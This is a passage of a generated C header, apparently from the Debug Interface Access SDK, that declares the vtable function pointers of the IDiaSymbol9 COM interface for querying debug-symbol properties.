IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol9 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol9 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol9 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol9 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol9 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol9 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol9 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol9 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol9 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol9 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol9 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol9 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol9 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol9 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol9 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol9 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol9 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( 